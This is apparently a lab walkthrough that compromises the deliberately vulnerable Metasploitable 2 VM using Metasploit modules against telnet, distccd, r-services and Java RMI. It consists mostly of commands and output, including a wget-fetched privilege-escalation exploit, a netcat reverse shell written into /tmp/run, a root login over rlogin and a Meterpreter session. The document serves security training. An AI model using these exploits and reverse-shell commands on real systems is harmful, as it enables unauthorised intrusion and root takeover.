auxiliary/scanner/telnet/telnet_version                              normal     Telnet Service Banner Detection
auxiliary/server/capture/telnet                                      normal     Authentication Capture: Telnet
exploit/freebsd/ftp/proftp_telnet_iac               2010-11-01       great      ProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
exploit/freebsd/telnet/telnet_encrypt_keyid         2011-12-23       great      FreeBSD Telnet Service Encryption Key ID Buffer Overflow
exploit/linux/ftp/proftp_telnet_iac                 2010-11-01       great      ProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (Linux)
exploit/linux/http/dlink_diagnostic_exec_noauth     2013-03-05       excellent  D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
exploit/linux/http/dlink_dir300_exec_telnet         2013-04-22       excellent  D-Link Devices Unauthenticated Remote Command Execution
exploit/linux/http/dlink_upnp_exec_noauth_telnetd   2013-07-05       excellent  D-Link Devices UPnP SOAP Telnetd Command Execution
exploit/linux/telnet/telnet_encrypt_keyid           2011-12-23       great      Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow
exploit/solaris/telnet/fuser                        2007-02-12       excellent  Sun Solaris Telnet Remote Authentication Bypass Vulnerability
exploit/solaris/telnet/ttyprompt                    2002-01-18       excellent  Solaris in.telnetd TTYPROMPT Buffer Overflow
exploit/unix/webapp/dogfood_spell_exec              2009-03-03       excellent  Dogfood CRM spell.php Remote Command Execution
exploit/windows/proxy/ccproxy_telnet_ping           2004-11-11       average    CCProxy <= v6.2 Telnet Proxy Ping Overflow
exploit/windows/telnet/gamsoft_telsrv_username      2000-07-17       average    GAMSoft TelSrv 1.5 Username Buffer Overflow
exploit/windows/telnet/goodtech_telnet              2005-03-15       average    GoodTech Telnet Server <= 5.0.6 Buffer Overflow
payload/cmd/unix/reverse                                             normal     Unix Command Shell, Double reverse TCP (telnet)
payload/cmd/unix/reverse_bash_telnet_ssl                             normal     Unix Command Shell, Reverse TCP SSL (telnet)
payload/cmd/unix/reverse_ssl_double_telnet                           normal     Unix Command Shell, Double Reverse TCP SSL (telnet)
post/windows/gather/credentials/mremote                              normal     Windows Gather mRemote Saved Password Extraction

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
—-      —————  ——–  ———–
PASSWORD                   no        The password for the specified username
RHOSTS                     yes       The target address range or CIDR identifier
RPORT     23               yes       The target port
THREADS   1                yes       The number of concurrent threads
TIMEOUT   30               yes       Timeout for the Telnet probe
USERNAME                   no        The username to authenticate as

msf auxiliary(telnet_version) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf auxiliary(telnet_version) > set RPORT 23
RPORT => 23
msf auxiliary(telnet_version) > run

[*] 192.168.1.103:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __/ _` | ‘_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_version) >

If we look carefully at the Telnet Banner we can see Login with msfadmin/msfadmin and so armed with the username and password we can connect via the attacking Terminal:

# telnet 192.168.1.103
Trying 192.168.1.103…
Connected to 192.168.1.103.
Escape character is ‘^]’.
_                  _       _ _        _     _      ____
_ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __/ _` | ‘_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Nov  5 13:12:09 EST 2013 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

No mail.
To run a command as administrator (user “root”), use “sudo <command>”.
See “man sudo_root” for details.

msfadmin@metasploitable:~$

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
3632/tcp  open  distccd?

What is distccd?

Distcc is a program to distribute builds of C, C++, Objective C or Objective C++ code across several machines on a network. distcc should always generate the same results as a local build, is simple to install and use, and is usually much faster than a local compile.

OK, time to search Metasploit:

msf > search distccd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                           Disclosure Date  Rank       Description
   ----                           ---------------  ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution

Let’s run the exploit:

msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(distcc_exec) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo i5VOR5zoE9EvGttx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "i5VOR5zoE9EvGttx\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.78:4444 -> 192.168.1.103:46436) at 2013-11-19 10:59:04 +0000

whoami
daemon

As we can see from the “whoami” we have achieved a daemon shell.

Now we will escalate our privilege from daemon to root using the 141 Local Privilege Escalation Exploit.

Firstly we get the exploit:

wget http://www.exploit-db.com/download/8572
--02:23:28--  http://www.exploit-db.com/download/8572
           => `8572'
Resolving www.exploit-db.com... 23.23.129.3, 23.23.150.193
Connecting to www.exploit-db.com|23.23.129.3|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/8572/ [following]
--02:23:29--  http://www.exploit-db.com/download/8572/
           => `index.html'
Reusing existing connection to www.exploit-db.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 2,768 (2.7K) [application/txt]

    0K ..                                                    100%  414.77 KB/s

02:23:30 (414.77 KB/s) - `index.html' saved [2768/2768]

mv index.html exploit.c
gcc exploit.c -o exploit

The exploit instructions are:

Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, usually is the udevd PID minus 1) as argv[1].

The exploit will execute /tmp/run as root so throw whatever payload you want in there.

Put simply we must find the PID of udevd and subtract 1:

pgrep udevd
3125

Now we need to open Netcat in a new Terminal in port listening mode:

:~# nc -vlp 12345
listening on [any] 12345 ...

Now to the exploit (Note the second line is your attacking IP and the Netcat port and line three is the PID minus one.

echo "#!/bin/sh" > /tmp/run
echo "nc -e /bin/sh 192.168.1.78 12345" >> /tmp/run
./exploit 3124

And our Netcat listener should come alive:

192.168.1.103: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.78] from (UNKNOWN) [192.168.1.103] 55574
whoami
root

And as you can see we are root!

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped

All of these ports are running “r” services. These have been configured to allow remote access from any host. In this case they have been poorly configured.

Looking at the Nessus report is very revealing regarding port 514:

Port 514/tcp

rsh Unauthenticated Access (via finger Information)

Synopsis

It was possible to log on this machine without password.

Description

Using common usernames as well as the usernames reported by ‘finger’, Nessus was able to log in through rsh. Either the accounts are not protected by passwords or the ~/.rhosts files are not configured properly.

This vulnerability is confirmed to exist in Cisco Prime LAN Management Solution, but could be present on any host that is not securely configured

Solution

If the remote host is a Cisco Prime LAN Management Solution virtual appliance, apply the relevant patch referenced in Cisco security advisory cisco-sa-20130109-lms.

Otherwise, remove the .rhosts files or set a password on the impacted accounts.

Risk Factor

Critical

Ports - tcp/514

It was possible to log into this host using the account ‘root’.
Here is the output of the ‘id’ command :
uid=0(root) gid=0(root) groups=0(root)

It was possible to log into this host using the account ‘bin’.
Here is the output of the ‘id’ command :
uid=2(bin) gid=2(bin) groups=2(bin)

It was possible to log into this host using the account ‘daemon’.
Here is the output of the ‘id’ command :
uid=1(daemon) gid=1(daemon) groups=1(daemon)

It was possible to log into this host using the account ‘nobody’.
Here is the output of the ‘id’ command :
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

It was possible to log into this host using the account ‘postgres’.
Here is the output of the ‘id’ command :
uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)

This port is wide open.

In order to exploit these misconfigured vulnerable remote access services we must ensure that we have ”rsh-client” installed on the attacking machine, which we can achieve via the Terminal with the apt-get install command. Once we have this the exploit could not be simpler:

:~# rlogin -l root 192.168.1.103
Last login: Tue Nov 12 16:59:44 EST 2013 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

You have mail.
root@metasploitable:~#

Simple as that!

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
1099/tcp  open  rmiregistry GNU Classpath grmiregistry

From Wiki:

The Java Remote Method Invocation (Java RMI) is a Java API that performs the object-oriented equivalent of remote procedure calls (RPC), with support for direct transfer of serialized Java objects and distributed garbage collection.

OK, let’s have a look in Metasploit:

msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    1099             yes       The target port
SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT  8080             yes       The local port to listen on.
SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                   no        The URI to use for this exploit (default is random)

Exploit target:

Id  Name
--  ----
0   Generic (Java Payload)

msf exploit(java_rmi_server) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(java_rmi_server) > exploit

[*] Started reverse handler on 192.168.1.78:4444
[*] Using URL: http://0.0.0.0:8080/02Bwa0tNBOFx
[*]  Local IP: http://192.168.1.70:8080/02Bwa0tNBOFx
[*] Connected and sending request for http://192.168.1.78:8080/02Bwa0tNBOFx/apQlsfJd.jar
[*] 192.168.1.103    java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30355 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.78:4444 -> 192.168.1.103:54392) at 2013-11-13 09:19:06 +0000
[+] Target 192.168.1.103:1099 may be exploitable...
[*] Server stopped.

meterpreter >

Below is a video demonstrating the above exploit.